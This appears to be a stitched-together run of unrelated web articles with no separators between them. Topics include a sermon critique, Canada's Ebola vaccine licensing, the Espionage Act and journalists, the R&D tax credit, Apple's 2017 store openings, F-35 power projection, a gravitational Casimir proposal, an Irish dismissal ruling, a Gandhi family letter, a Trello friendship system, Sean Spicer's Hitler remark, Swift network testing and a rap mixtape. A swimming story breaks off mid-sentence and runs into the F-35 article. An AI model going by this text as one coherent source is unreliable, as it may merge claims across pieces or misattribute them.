Priests were anointed primarily to minister the glory of God. They were anointed to pray for the people, to offer sacrifices, to care for the temple, to be God's representatives before the people... Kings were anointed to take dominion. Kings were anointed to go to war, win the war, and bring the spoils of war to priests so the work of the kingdom of God could be accomplished. The king needed the blessing of the priest in order to be successful in battle... The priest also needed for the king to be successful in battle because the priest needed the spoils of war in order to repair the temple, in order to carry out the ministry that God had entrusted him.
What is so remarkable about this rendering of the relationship between kings and priests in the Old Testament is that God expressly forbade the Israelites from going to war for spoils. It is "truthiness" applied to Biblical interpretation. Well, the priests had expenses to pay in the temple, and the kings went to war. God anointed both of them. That must mean that the kings went to war to pay for the expenses in the temple.
The seamless move that Cruz makes without any justification is to say that because kings and priests were anointed in the Old Testament, that means there are two kinds of Christians today: kings and priests. Forget about the body of Christ and all the spiritual gifts identified in 1 Corinthians 12. Forget Jesus' exhortation in Mark 10 not to be like the Gentile princes but to be servants instead of kings. Cruz decries the way that churches have neglected their members' kingly anointing:
Our churches unfortunately are very focused on only one of these anointings and that is on the priestly anointing... Those of you who think you don't have the anointing to teach the word of God, to be teaching Sunday school, you're second class citizens. And so you begin to lead frustrated lives... The majority of you... your anointing... is an anointing as king. God has given you an anointing to go to the battlefield. And what's the battlefield? The marketplace. To go to the marketplace and occupy the land. To go to the marketplace and take dominion.
So to pull all this logic together, God anoints priests to work in the church directly and kings to go out into the marketplace to conquer, plunder, and bring back the spoils to the church. The reason governmental regulation has to disappear from the marketplace is to make it completely available to the plunder of Christian "kings" who will accomplish the "end time transfer of wealth." Then "God's bankers" will usher in the "coming of the messiah." The government is being shut down so that God's bankers can bring Jesus back.
And here's the thing. When you get a lot of people together in a megachurch, you can do some pretty impressive things with your mission projects. You can feed thousands of people and host ESL classes and job training programs and medical clinics. And I imagine that seeing your accomplishments could give you the hubris of thinking we don't need a government at all to make our society run; our church can be the new government.The strange case of Canada’s Ebola vaccine became even stranger Monday. That’s when the pharmaceutical multinational Merck announced it will pay $50 million for commercial rights to manufacture and develop the vaccine, invented at the federal government’s National Microbiological Laboratory in Winnipeg.
Geneva University Hospital in Switzerland opens a batch of experimental Ebola vaccine developed at the National Microbiology Laboratory in Winnipeg. It took more than two months for the vials to arrive at WHO headquarters in Geneva after Ottawa boldly announced it would donate 800 of these vials to the WHO, Thomas Walkom writes. ( MATHILDE MISSIONEIRO / AFP/GETTY IMAGES file photo )
That a drug giant would shell out $50 million is not in itself peculiar. At a time when the rich world is close to panicking over Ebola, there are only two experimental vaccines aimed at the virus. Canada’s VSV-EBOV is one of them. Europe and America have belatedly come to realize that Ebola is not just an African disease. What is odd, however, is that the money goes not to the Canadian publicly owned entity that developed the vaccine but to a small U.S. middleman that appears to have done little.
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Iowa-based NewLink Genetics has had the exclusive commercial licensing rights over the Canadian vaccine since it bought them from the Public Health Agency of Canada in 2010. In return for those rights, according to the filings the company made with U.S. regulators, NewLink provided the Canadian government with a “milestone payment” of just $205,000. That’s considerably less than the $50 million the Iowa company got for passing those rights on to Merck. Exactly why Canada sold the commercial rights over this breakthrough Ebola vaccine to NewLink at bargain-basement prices remains a mystery on all counts. Founded in 1999, NewLink is a small company of about 100 employees that focuses mainly on developing cancer therapies.
It has no manufacturing capacity and little experience with vaccines. While it has several products in the pipeline, none has yet reached the point of commercial production. Since acquiring the rights to VSV-EBOV, it has moved at what some critics call an agonizingly slow pace. (NewLink says it is just being careful).
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Amir Attaran, an Ottawa lawyer and immunology expert, points out that NewLink did not begin the most rudimentary clinical trials on the vaccine until last month. And, as the company acknowledged to The Canadian Press, the vaccines for these clinical trials were paid for by Canada. By 2013, the Public Health Agency, backed by the Department of National Defence, had spent $887,000 to have a German company, IDT Biologika, manufacture 1,500 vials of VSV-EBOV suitable for human trials. It is this stockpile that is slated for use in trials planned for Europe, Africa, the U.S. and Canada. In short, he Canadian government not only sold off commercial rights to its Ebola vaccine to a for-profit firm at sale-price rates. It also paid the lion’s share of costs required to test the vaccine for human use. But then everything around this vaccine has been unusual. It was developed not by some grand government design but because, as Helen Branswell of The Canadian Press has written, scientists attracted to the Winnipeg lab in the early years of the century happened to be interested in and knowledgeable about Ebola. The vaccine was patented in 2003 and then, according to Attaran, more or less forgotten. Until the Defence Department came though with money a few years later, there was no attempt made to manufacture samples fit for human trials. And when those 1,500 vials of vaccine were finally manufactured, the government kept the news to itself. Even when the latest epidemic began to ravage Africa this spring, Ottawa was mum. Not until August did the federal government publicly reveal that it had, in storage, an experimental vaccine that might be of use in combating Africa’s Ebola epidemic. The government boldly announced it would donate 800 of these vials to the World Health Organization. Yet in the end, it took more than two months for the vials to arrive at WHO headquarters in Geneva. Canadian government officials said the logistics were tricky. That explanation, like most of the tale around the handling of this breakthrough vaccine, was oddly unsatisfying. Thomas Walkom’s column appears Wednesday, Thursday and Saturday.Congress Has Lost All Perspective When It Considers Prosecuting Journalists As Spies
from the who's-the-real-enemy-of-the-state? dept
We've noted the unfortunate fact that President Obama has used the espionage act to go after whistleblowers, rather than actual spies. Similarly, we've been quite concerned that people have tried to paint organizations like Wikileaks as being criminal operations or guilty of violating the Espionage Act as well. While there may be many reasons toWikileaks or Julian Assange, that does not mean that they're guilty of criminal activities in publishing classified information they obtain. That's what lots of reporters do.And, in fact, as the EFF is warning, some in Congress are now turning their sights on reporters at the NY Times for daring to publish newsworthy material, dug up through traditional reporting means. In other words, the gradual expansion of the definitions here is putting reporters at risk. Already we expanded the definition of espionage to cover whistleblowers... and now they're trying to expand it to the press who report on the information leaked by whistleblowers.It's hard not to be offended by the disdain for the Constitution displayed by these politicians. Even if no one actually goes through with a prosecution against a journalist, the chilling effects have already made their mark. Reporters are likely to think twice now about publishing that big scoop, exposing questionable government behavior, because those within the government seem to think that actually revealing troubling facts about the government is akin to being a spy.
Filed Under: espionage act, free speech, journalismThe innovation industry faces an uncertain future, as long as the United States R&D Tax Credit remains a Congressional roller coaster ride.
Innovation should be rewarded and the U.S. government should use federal funds to foster a culture of discovery. Virtually everyone agrees with this broad premise. But, as with many things on Capitol Hill, the devil is in the details.
On that note, let’s talk about the Research and Experimentation Tax Credit. Every couple of years, Congress votes to extend the so-called R&D Credit—a significant tax break for corporations that invest in research and development. Beneficiaries of the credit include many of the usual suspects (think Boeing and Dow Chemical) but also small businesses and even tech start-ups.
Right now the R&D Credit is a temporary measure, an adaptation of President Reagan’s 1981 tax break that was launched to ensure that the U.S. economy kept Japan on its toes. But since then, Congress has renewed it without fail (more or less) 15 times. This year, it almost looked like the R&D Credit might be extended permanently—a move that industry experts say would shield science and technology companies from the losses that they take every time it expires.
Spoiler: it didn’t happen. Last week, Congress begrudgingly renewed the R&D Credit retroactively for another year and, at least for now, all hopes of it becoming a permanent incentive for cutting-edge research are dashed.
“This place is dysfunctional,” Representative Jim McDermott said during last week’s session. “Businesses and individuals need to know what the tax is going to be in the beginning of the year so that they can plan and take advantage of incentives rather than waiting until the last two weeks of the year when the Congress may or may not act.” A full transcript of the session is available here.
Every time the R&D Credit comes up for renewal, a similar debate emerges. Proponents remind us that the tax break spurs innovation and supports high-paying jobs in science and technology. They call for a permanent R&D Credit, so that research-minded businesses can budget accordingly. Detractors point out that the last two-year extension cost $14 billion over ten years, and that making the credit permanent could cost $150 billion over ten years. They argue that nobody has figured out how to pay for a $150 billion loss in tax revenue.
But this time around, things started looking different. In 2010, President Obama announced that he would seek to permanently extend the R&D Credit. The presidential push for a permanent tax break reached its peak in January 2014 during his State of the Union Address:
“Listen, China and Europe aren't standing on the sidelines; and neither—neither should we. We know that the nation that goes all-in on innovation today will own the global economy tomorrow. This is an edge America cannot surrender. Federally-funded research helped lead to the ideas and inventions behind Google and smartphones. And that's why Congress should undo the damage done by last year's cuts to basic research so we can unleash the next great American discovery.”
Then in May 2014, it finally happened. The House of Representatives passed a bill to permanently extend the R&D Credit. Rumor has it that, for a short while, the bill enjoyed a degree of bipartisan support. Research firms were thrilled. A permanent R&D Credit would have meant that businesses invested in science and technology could lay out their budgets without having to wonder when (or if) they would get their tax breaks. And errors in earning reports that led to stock fluctuations—partially due to confusion over the R&D Credit’s odd cycle of expirations and renewals—may have diminished, or vanished entirely.
And then everything came crumbling down. The White House threatened a veto if Congress didn’t find a way to pay for the $150 billion bill, House Republicans took a shot at unemployment benefits and Senate members (who, perhaps, saw the writing on the wall) began to draft a bill to extend the R&D Credit temporarily.
Now that the dust has settled, it looks like we’re only getting a one-year extension out of the whole kerfuffle. This is disappointing news for science and scientific research. It’s also a little bit frustrating. Here we have a case where everyone—Republicans, Democrats, Congressmen and the White House all claimed to want the same thing. In the end, nobody got what they wanted.
For more on the implications of the R&D Credit extension, check out David Malakoff’s in-depth coverage in Science Magazine.2017 was an incredibly active year for Apple retail, as the company’s refreshed store design continued its rollout across the world. As the calendar comes to a close, let’s take a look at every store location opened under the guidance of Apple’s retail chief Angela Ahrendts.
12" MacBook
Apple stores in 2017 could be described as taller, brighter, and more open. First previewed and later rolled out in 2015, the company’s new retail architecture style was directly influenced by design chief Jony Ive. Since then, Apple has swiftly and methodically begun to remodel or replace each and every one of their retail locations with a consistent design language.
Heavily borrowing from the architecture of Apple Park, new Apple stores feature brighter, taller ceilings, terrazzo flooring, ambient “True Tone” ceiling lights, and stone walls and facades in favor of the former stainless steel sheeting.
Gone is the traditional Genius Bar and gigantic glowing Apple logos, replaced with more subtle branding and massive displays bordering “Genius Groves” used during Today At Apple events. These new stores have been described by Angela Ahrendts as “Town Squares,” and they do indeed feel more open – and more luxurious too.
January
January 20th: 2017 began with the temporary closure of Apple’s iconic Fifth Avenue store in New York City for significant renovations. In the interim, Apple moved operations to a storefront directly behind the glass cube, a former FAO Schwarz retail space. While impressive in its own right, the temporary store will be dismantled when the cube reopens.
January 21st: Apple’s expansion in China brought a stunning Kunming store in the upscale Shuncheng Shopping Center. The entryway’s round lobby and flat roof are reminiscent of the Steve Jobs Theater.
January 28th: Apple’s new MarketStreet location opened in Lynnfield MA, replacing a previous aging store located in the Northshore Mall.
January also saw the closure of two of three Apple Watch shops at Galeries Lafayette in Paris and Selfridges in London. These pop up stores were unique locations that dealt with Apple Watch exclusively and boasted impressive window displays at launch. Recently, Apple removed the webpage for the final Apple Watch shop at Isetan Shinjuku in Japan.
March
March 4th: Replacing a smaller storefront in the same mall, Apple Pentagon City reopened in Arlington, VA.
March 11th: Apple St. Johns Town Center relocated to a larger, but shorter space in the open-air mall in Jacksonville, FL.
March 25th: A trio of stores opened on the same day in the United States, Germany, and China.
While many entirely new Apple stores opt for outdoor settings, Apple Brickell City Center chose Miami’s luxury indoor shopping destination.
Apple Nanjing Jinmao Place became China’s first retail location in the Gulou District.
Apple Schildergasse repurposed a historic German storefront while preserving many of the building’s exterior details.
April
April 8th: Significantly larger than its predecessor in the same mall, Apple Woodland in Kentwood, MI reopened after renovation.
April 13th: Apple Avalon in Georgia opened as another entirely new structure, replacing a nearby indoor store in the North Point Mall. The building’s profile is consistent with Apple Stanford, but the interior features a more modern layout.
April 27th: Marking a major milestone in retail architecture, Apple opened their flagship store in the Dubai Mall. The location was designed by Foster + Partners, the same firm responsible for Apple Park.
May
May 20th: Apple Providence Place in Rhode Island celebrated a grand reopening after expanding significantly. The new store features large, rotating glass panes that are functionally different, but visually similar to the solar wings used at the Dubai Mall location.
May 26th: The multi-story Apple Orchard Road is the company’s first store in Singapore, and previews many design elements later found at Apple Park, including a custom staircase with a carved hand rail.
July
July 1st: Apple’s first location in Taiwan opens as Apple Taipei 101.
July 8th: Apple Danbury Fair Mall reopened in the same shopping center in Danbury, CT, but with significantly more floor space.
On the same day, Apple CambridgeSide in Massachusetts celebrated its grand reopening, replacing one of the few remaining black storefronts Apple used on early stores.
July 30th: Apple Bluewater in Greenhithe, UK closed for renovations. The store will likely reopen in 2018.
August
August 12th: A duo of stores celebrated grand openings. The first was Apple Southhampton, previously known as Apple WestQuay. The new indoor space replaced one of Apple’s tiniest storefronts in England.
Meanwhile in Wisconsin, Apple Hilldale opened, relocating from an indoor location at the West Towne Mall in Madison. We took an in-depth look at the store just after opening.
September
September 2nd: The month kicked off with the reopening of Apple South Hills Village, located in the suburbs of Pittsburgh, PA.
On the same day, Apple Village Pointe in Omaha, NE reopened in a new storefront at the same mall. Its design is almost identical to the aforementioned Apple Hilldale.
September 9th: Apple Northbrook, another indoor mall location in Illinois, doubled in size.
September 15th: While September saw a unusually high number of store openings, it also saw a permanent store closure. Apple Simi Valley closed its doors on September 15th, and unlike other store closures, no new replacement location or remodeling project followed.
September 16th: Apple Tianyi Square marked China’s third entirely new location for 2017.
On the same day, Apple Topanga in Canoga Park, CA reopened after remodeling its existing space.
The third store to celebrate its opening on the same day was Apple Summit Sierra in Reno, NV.
September 22nd: Just in time for the launch of the iPhone 8 and 8 Plus, two updated locations welcomed customers, the first being Apple Meadowhall in Sheffield, England.
The second, Apple Smith Haven is also a relocation within the same building in Lake Grove, NY.
September 30th: Closing out the month of September was the grand reopening of Apple Woodfield in Schaumburg, IL. This location is one of Apple’s oldest, originally opening in August 2001 as store number 5.
October
October 20th: Perhaps the most dramatic new store open of 2017 was that of Apple Michigan Avenue, Chicago’s newest flagship location. 9to5Mac attended the opening, which drew large crowds and a visit from Apple executives. The new store on Chicago’s riverfront replaced a unique stone storefront just a few blocks away.
November
November 3rd: Apple Century City in Los Angeles, CA reopened on iPhone X launch day, giving customers two reasons to check out the new store.
November 11th: An entirely new structure, Apple Domain NORTHSIDE replaced a significantly smaller and more enclosed location in The Domain shopping center in Austin, TX.
November 16th: Apple UTC’s reopening in San Diego, CA kicked off a three-day store opening spree across the United States.
November 17th: Apple Park Visitor Center in Cupertino, CA welcomed the general public for the first time. Adjacent to the new Apple Park office complex, the visitor center offers rooftop views of the campus, as well as exclusive merchandise. It is also the only Apple store to feature a Caffè Macs. Another first for the company’s hometown location is a massive 8K display, located centrally in the store’s Forum area. Previous Apple Stores featured lower resolution 6K displays.
We visited Apple Park’s Visitor Center on opening day and toured the store, which includes a special augmented reality experience.
November 18th: Apple Burlingame, near Apple Park’s Visitor Center, reopened after a floor-to-ceiling remodel. We attended the grand opening and brought you in-depth photos of the new store.
On the same day, Apple Burlington reopened in Massachusetts. Alongside Apple Park Visitor Center and Apple Burlingame, this location was among the first to implement tables with more subtle charging systems.
November 24th: Austrialians patiently waiting since 2015 for next generation stores to arrive got their wish when Apple Chadstone reopened in a suburb of Melbourne.
November 25th: Apple Shibuya, a location in Tokyo, Japan closed for renovations. The store will likely reopen in 2018.
December
December 2nd: Embracing a dramatic, googie-esque streamlined design not found in any of the company’s other stores, Apple Downtown Brooklyn opened in New York. Considering how significant the store’s architecture is, opening day was celebrated with little fanfare.
December 9th: Apple Crabtree Valley Mall remained a second-floor location upon reopening in Raleigh, NC.
December 16th: Apple The Gardens Mall in Palm Beach Gardens, FL reopened in what is now the company’s “standard” layout for mall stores.
2018
Apple retail leaves 2017 with 499 store locations, and the company shows no sign of slowing momentum as we enter 2018. Already, residents of Vienna, Austria are getting ready for a flagship store of their own. Across the globe, Apple has indicated plans for new locations in South Korea, Thailand, Australia, and Saudi Arabia. In India, the company continues to seek approval to open stores, and has finally received approval in the U.S. for a landmark location in Washington D.C.’s Carnegie Library.
In terms of architecture, attention to detail, and scale, each new store seems to surpass the last. It’ll be fun to see the locations arriving in the new year.
Check out 9to5Mac on YouTube for more Apple news:High school junior Maxime Rooney has rung a significant early bell for the recruiting class of 2016 by verbally committing to the Florida Gators.
This makes him one of the earliest commitments in memory of high school swimming.
“I’ve had a chance to research and visit some of my top schools and found that Florida had exactly what I needed for my swimming as well as my academic future,” Rooney said of the early timeline for the decision.
This decision is just a verbal one and is non-binding, as contact is very limited for current high school juniors until July, 2015.
While we haven’t yet put out our class
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the F-35s. This means that specific support for the As, Bs, and Cs could be generated. Based on the earnings from a logistics hub, the Aussies will be able to pay for a significant part of their own fleet modernization.
And a hub is not a permanent base. As an on-call service facility, the various allies can draw upon support when they are working with the Aussies on regional security missions.
Second, Australia has the large territory necessary for Asian F-35 fleets to train. The F-35 is not a replacement tactical aircraft; it is new flying combat system, which will need significant training territory for pilots to learn how to use all of its capabilities. As an aircraft, which has EW, built in, training to do cyber and EW ops are important. As a 5th generation aircraft, the ability to engage “aggressors” and to “defeat” air defense assets requires significant territory over which to operate as well. Instrumented training ranges over Australia and the contiguous ocean is invaluable for building the necessary skills to deter any aggressor.
As an added benefit, the Aussies will be major gainers of revenue from its various allies using the training facilities as well. With the logistics facilities and the training facilities, the F-35 could gain significant cash for the Aussie military modernization efforts.
Thirdly, the F-35 is a significant ISR asset. The Aussies can build ISR collection facilities, which can leverage the entire allied FLEET of F-35s operating in a regional security setting. They can use such facilities to shape an approach to link other allied ISR assets to establish a “honeycomb” network or grid along the Pacific Rim.
The reach from Japan to South Korea to Singapore to Australia is about how allies are re-shaping their forces and working towards greater reach and capabilities. For example, by shaping a defense strategy, which is not simply a modern variant Seitzkreig in South Korea and Japan, more mobile assets such as the F-35 allow states in the region to reach out, back and up to craft coalition capabilities.
If each element of the deployed honeycomb can reach out, up and back for we a pons, which can be directed by the Z-axis of the F-35, a significant jump in capability, survivability, flexibility and lethality can be achieved. A scalable structure allows for an economy of force. Presence and engagement in various local cells of the honeycomb may well be able to deal with whatever the problem in that vector might be.
And remembering that in the era of Black Swans, one is not certain where the next “crisis” or “engagement” might be. But by being part of a honeycomb, the deployed force to whatever cell of the honeycomb, the force can be part of a greater whole, whether allied or U.S.
This means simply put, that the goal is NOT to deploy more than one needs to appropriate to the task. Vulnerability is reduced, risk management is enhanced and the logistics and sustainment cost of an operation significantly reduced. One does not have to deploy a CBG or multiple air wings, when an ARG is enough.
By leveraging the new platforms, which are C4ISR, enabled and linked by the F-35 across the USN, USMC, USAF and allied fleets a new Pacific strategy can be built. And this strategy meets the needs of this century, and the centrality of allied capabilities, not the last decade where the U.S. dealt largely with “asymmetric” adversaries with limited power projection tools.
The Way Ahead
By building on the F-35 and leveraging its capabilities, the U.S. and its allies can build the next phase of power projection within affordable limits. U.S. forces need to become more agile, flexible, and global in order to work with allies and partners to deal with evolving global realities.
Protecting access points, the global conveyer of goods and services, ensuring an ability to work with global partners in having access to commodities, shaping insertion forces which can pursue terrorist elements wherever necessary, and partnering support with global players all require a re-enforced maritime and air capability.
This means a priority for all Services in the re-configuring effort. Balanced force structure reduction makes no sense because the force structure was re-designed for land wars that the U.S. will not engage in the decade ahead. The US Army can be recast by the overall effort to shape new power projection capabilities and competencies in the decade ahead.
Retiring older USN, USMC, and USAF systems, which are logistical money hogs and high maintenance, can shape affordability. Core new systems can be leveraged to shape a pull rather than a push transition strategy. Fortunately, the country is already building these new systems and is in a position to shape an effective transition to a more affordable power projection capability.
At the heart of the approach is to move from the platform-centric focus where the cost of a new product is considered the debate point; rather the value of new systems and their ability to be conjoined is the focal point. No platform fights alone is the mantra; and core recognition of how the new platforms work with one another to shape collaborative con-ops and capabilities is central to a strategic re-design of U.S. forces.
An earlier version of this article appeared in Joint Forces Quarterly, July 2012.
For a copy of this article to download click here.
F-35 and the Future of Power Projection
For the latest F-35 news please go to the F-35 Consortium micro site.An experiment not much bigger than a tabletop, using ultra-cold metal plates, could serve up a cosmic feast. It could give us a glimpse of quantum gravity and so lead to a “theory of everything“: one that unites the laws of quantum mechanics, governing the very small, and those of general relativity, concerning the monstrously huge.
Such theories are difficult to test in the lab because they probe such extreme scales. But quantum effects have a way of showing up unexpectedly. In a strange quantum phenomenon known as the Casimir effect, two sheets of metal held very close together in a vacuum will attract each other.
The effect occurs because, even in empty space, there is an electromagnetic field that fluctuates slightly all the time. Placing two metal sheets very close to one another limits the fluctuations between them, because the sheets reflect electromagnetic waves. But elsewhere the fluctuations are unrestricted, and this pushes the plates together.
James Quach at the University of Tokyo suggests that we might be able to observe the equivalent effect for gravity. That would, in turn, be direct evidence of the quantum nature of gravity: the Casimir effect depends on vacuum fluctuations, which are only predicted by quantum physics.
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But in order to detect it, you would need something that reflects gravitational waves – the ripples in space-time predicted by general relativity. Earlier research suggested that superconductors (for example, metals cooled to close to absolute zero such that they lose all electrical resistance) might act as mirrors in this way.
“The quantum properties of superconductors may reflect gravitational waves. If this is correct, then the gravitational Casimir effect for superconductors should be large,” says Quach. “The experiment I propose is feasible with current technology.”
It’s still unclear if superconductors actually reflect gravitational waves, however. “The exciting part of this paper has to do with a speculative idea about gravitational waves and superconductors,” says Dimitra Karabali at Lehman College in New York. “But if it’s right, it’s wonderful.”
Journal reference: Physical Review Letters, DOI: 10.1103/PhysRevLett.114.081104Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A former hotel leisure centre manager, who was sacked after he opened a gay sauna, has been awarded over 25,000€ (£21,000) in compensation.
Eamon Ryan, 44, from Ballysimon, filed a complaint against the Charleville Park Hotel, after he was dismissed in August 2010.
During the employment tribunal which was heard earlier in 2013, the hotel’s manager, Brian Comerford, denied that the “orientation”, of the sauna opened by Ryan was the reason for his dismissal, and denied that his dismisaal was a “homophobic knee-jerk reaction”.
He claimed that Ryan was dismissed after Comerford received an anonymous phone call informing him that he was a director of another business, which he said was a breach of his contract, and amounted to gross misconduct.
“It was clear he chose not to tell us about the other business,” stated Mr Comerford, who claimed there had been an “ongoing deception” on Mr Ryan’s behalf.
As a part of his evidence, Eamon Ryan said that the company which runs the sauna was not incorporated until January 2010, and that it was simply “an idea” when he started working for the hotel.
The married father of three, continued that he was not involved in the day-to-day running of the sauna, and he said it had no impact on his role at the hotel.
The tribunal made the ruling despite the fact that there was a specific clause in Ryan’s contract to prohibit him from engaging in other work.
In its ruling the tribunal “notes that his other business was 60 killometres away and while his contract included a restrictive covenant, he was not advised that it was breached it could lead to his dismissal.”
It also pointed to the fact that he had never been subject to any other disciplinary action, and that his job in the sauna had not interfered with his role as manager at the hotel’s leisure centre.
After ruling that Ryan was unfairly dismissed, the tribunal awarded him 25,333€ in compensation, reports the Limerick Leader.
A statement from Eamon Ryan read: “The Tribunal has found that I was duly unfairly dismissed, and I am pleased that my character and reputation has been exonerated. I would like to thank my wife and her family for their support throughout.”To the Media at large,
A very slanderous and hurtful story has been published in sections of the press this morning alleging that in a letter Bapu wrote to his first born, Harilal, Bapu had accused him of raping his own daughter, Manu. This is in reference to the same letter along with others to be auctioned by Mullock's in England on May 22.
The original letter, a private communication between a father and son was written in Gujarati. The translated excerpts are uneducated and out of context assumptions. I read the letters in its original form in Bapu's handwriting and realised how wrong and may be mischievous the assumptions were.
In the letter Bapu confront's Harilal kaka's relationship with his dead wife's sister whom he, Harilalkaka, was contemplating on marrying then. Bapu approved of the marriage since the sister was a child widow.
But he wished that both Harilal Kaka and his sister-in-law make an honest confession of their previously committed sins. In this context, he writes to Harilal kaka that his daughter Manu, who was then staying with Bapu at Sevagram, Wardha had told him about Harilal Kaka having raped 'her' and'she' required medical help. The 'her' here refers to the sister-in-law not Manu, as alluded to in the sensational reports published in newspapers. It is further suggested that Bapu ordered his first born to die rather than consume alcohol. Bapu was always averse to alcohol and it was a well known fact that Harilalkaka had become a chronic drunk. This suggestion of Bapu stems from the fact that Harilal kaka had seeked Bapu's approval for him to consume alcohol as a cure for Malaria. Bapu first expresses dismay and says he knows that quinine is administered to treat malaria but has never heard of alcohol being administered as a medicine, then Bapu advices Harilal kaka to embrace death rather than to even consider the use of alcohol as a medicine.
In later years, Bapu had refused to allow doctors to inject penicillin made from animals to a very strict vegetarian Ba to save her life.
The way the press has carried the story is sensationalist and an example of gutter journalism. Journalism is a noble profession and must be honourable, honest and ethical. The way the story has been reported has hurt us the descendants of Ba and Bapu, and in particular the direct descendants of Harilal kaka and his daughter Manu foiba. What is a shame is that it is a work of uneducated translation and out of context accusations. The press should have exercised restraint and attempted to get at the truth before succumbing to the lure of sensationalism. I write this letter in anguish and with a desire to state the truth, least lies and untruth prevails.
What needs to be ascertained is the legality of the auction, whether rightful legal owners have offered such sensitive and private letters for mere financial gains, which I have serious doubts about or whether this is illicit trade. This must be revealed.
I hope my letter stating facts and an expression of disgust at a malicious attempt at defame my ancestors and family is published with equal enthusiasm as the pack of malicious lies.Tushar A Gandhi
The writer is the great-grandson of Mahatma Gandhi.The gist: If you want strong relationships, but you’re not naturally inclined to build them, this system will help motivate you to stay in touch with people you care about.
I’m an introvert. Left to my own devices, I prefer to spend my time alone, working on things I find interesting or important.
That doesn’t mean I don’t enjoy having a tapestry of friends or going out to busy places. In fact, I do these things regularly. I even like organizing big parties on the rare occasions I can muster the energy for it.
But being an outgoing socialite is not my natural state. Nine times out of ten, if you ask me what I’d like to do, my answer will be to stay home and play a game. Or maybe go out for a quiet cup of tea with one or two friends.
My natural, happy state is to keep to myself. I have a rich and very rewarding inner-life. I can sit alone and just think about stuff for hours.
Why is the sky blue? Let’s look it up on Wikipedia!
How many different types of plants can I name in 10 minutes?
What can I do to improve my workout routine? Let’s learn how muscles work…
Yet, I realize part of being a successful human is fostering relationships.
The more great people I have in my corner, the more inspired I am in my work. The more driven I am to improve myself. And the more resources I have to solve difficult problems or do big things I couldn’t do on my own.
It just doesn’t come naturally.
So, I tried an experiment by creating a simple system that would help me keep up with my friends. I wanted a template I could work from.
I resisted the idea at first. I tend to dislike anything around relationships that feels unnatural.
Setting a calendar reminder to “call Nana” would make me feel like a failure. Like I needed a crutch to be normal.
But I decided this was a limiting belief. Everyone struggles with something, and there’s no good excuse to just accept a shortcoming if you really want to improve.
And I’m glad I did. Since implementing my little system, I’ve had better relationships with friends than I’ve had my entire adult life. I’m happier and healthier. I call my system “The Friends Game.”
Here’s how it works. I hope you find it useful.
The Friends Game: A System For Managing Your Introversion
I use an app called Trello to make it all happen.
Because Trello is so flexible, I found a way to use it not just to aid me in keeping in touch with friends, but to gamify the process so it’s fun and motivating to do.
Here’s how it works. Feel free to copy it or tweak it for your own needs.
First, Create A New Trello Board
Trello lets you set up an infinite number of “boards” which, for most people, are synonymous with “projects.”
Give your board a fun name—something that’ll actually make you want to look at it. Sounds silly, but this is a psychological trick I use to keep myself interested in things. If you’re not having fun, you’re not going to keep using it.
Set Up A Monthly Check In
When you start a new board, it’s automatically populated with three lists: To Do, Doing, and Done. Go ahead and delete/archive these. We’re not going to use them.
Next, set up 12 new lists, and name each one by month.
Create Your List Of Friends
Finally, add a card to January (or whatever month you’re starting in) for each person you want to keep in touch with.
Now, It’s Time To Play The Friends Game…
Now the fun starts. The goal is to see how many people you can advance, each month, into the current month.
When you get in touch with someone from your list, move them into the current month.
As an added reminder to myself, I like to leave a little note on the person’s card each time I have a great conversation with them.
By the end of the year, you have a nice little record of all the important stuff that’s happened to each person over the last 12 months. Maybe send them a Christmas card telling them how proud you are of everything they accomplished.
In a perfect world, you’d move everyone into the current month every single month. But let’s be realistic. We ain’t perfect. So, after a few months, our list starts to look more like this:
Without this system, we either don’t think about the people we haven’t connected with in awhile at all, or we think about it, feel guilty, and tell ourselves, “It’s been so long. I can’t connect now; it would seem weird.”
The result is the same: our friend drifts further and further away.
But thanks to the game aspect of this system, it’s a lot easier to tell yourself, “No! I have to move them out of February and into May!”
Introverts: You Need A System
When you’re introverted, keeping in touch with good people you want relationships with doesn’t come naturally.
But that’s okay; there’s nothing wrong with you. You’re amazing for a lot of other reasons.
And if you want to be amazing at building relationships too, you can be. You just need a system that’s fun and easy to follow. Whether you use the one I described or create your own, here’s to building meaningful relationships with more amazing people.Syrian President Bashar Assad's chemical attack last week was particularly egregious because even Adolf Hitler didn't use chemical weapons in World War II, White House press secretary Sean Spicer inaccurately claimed on Tuesday.
"You had someone as despicable as Hitler who didn't even sink to using chemical weapons," Spicer told reporters during the White House briefing in response to questions about the implications of Assad's chemical attacks.
Hitler used a chemical called Zyklon B to murder prisoners in Nazi concentration camps in World War II.
Spicer soon attempted to clean up his comments in response to a request for clarification from reporters.
"I think when you come to sarin gas, there was no, he was not using the gas on his own people the same way that Ashad [sic] is doing … there was not in the — he brought them into the Holocaust center, I understand that, but I'm saying in that the way that Assad used them, where he went into towns, dropped them down, to innocent, into the middle of towns, it was brought, the use of it," Spicer said. "I appreciate the clarification, that was not the intent."
"In no way was I trying to lessen the horrendous nature of the Holocaust," Spicer later said in a statement following the briefing. "I was trying to draw contrast of the tactic of using airplanes to drop chemical weapons on population centers."Testing NSURLSession with Swift
A series of blog post covering how to test NSURLSession with Swift. Broken down into three parts, each discussing different aspects of the testing process.
First, learn how to verify that you send the right parameters to the session. Next, speed up your test suite by making all NSURLSession API calls synchronous. Finally, tie it all together by stubbing JSON responses when running UI Tests.
Not owning a class doesn't mean you can't mock it! Learn how to unit test NSURLSession with Swift and protocol-oriented programming.
My go-to approach when unit-testing Swift is protocol-oriented programming. As requested by you, let's see a real-world example. What better way to show some code than with the networking stack, something every iOS developer has dealt with!
Shave time off your test suite by flattening asynchronous tests. Learn how to mock more of NSURLSession to test response data, network errors, and status codes.
You've sent your fully tested HTTP request off into the wild. Now, what happens when it returns? How do you test for response data? What about network errors? Server errors? Let's take a look at how to test these network responses, and more, in this second post on testing NSURLSession.
Learn how to stub network data when running UI Tests with the magic of some “secret” XCTest APIs.
We've all been there. We get super excited to try out UI Testing and start to use it for all the app's flows. And then one of the tests requires the user to be logged in.
What do we do? Have a "test user" whose password never changes? Create a mock server? Forget the test entirely? There's got to be something better!
With just a little bit of code, we can stub out network data when running our UI Tests. How? With the magic of some "secret" XCTest APIs.
If you liked this post, you can share it with your followers or follow me on Twitter.
Please enable JavaScript to view the comments powered by Disqus.Dirty Sprite 2 is the conclusion to Atlanta rapper/songwriter Future’s epic run of mixtapes over the past ten months. He dropped “Monster” last Halloween, followed by “Beast Mode” and “56 Nights” in 2015. In less than a year, enough Future hits were given to keep every party lit into 2016 and beyond. DS2 is more impressive for doubling down on the values that made those tapes great. He’s breaking his record while running his victory lap.
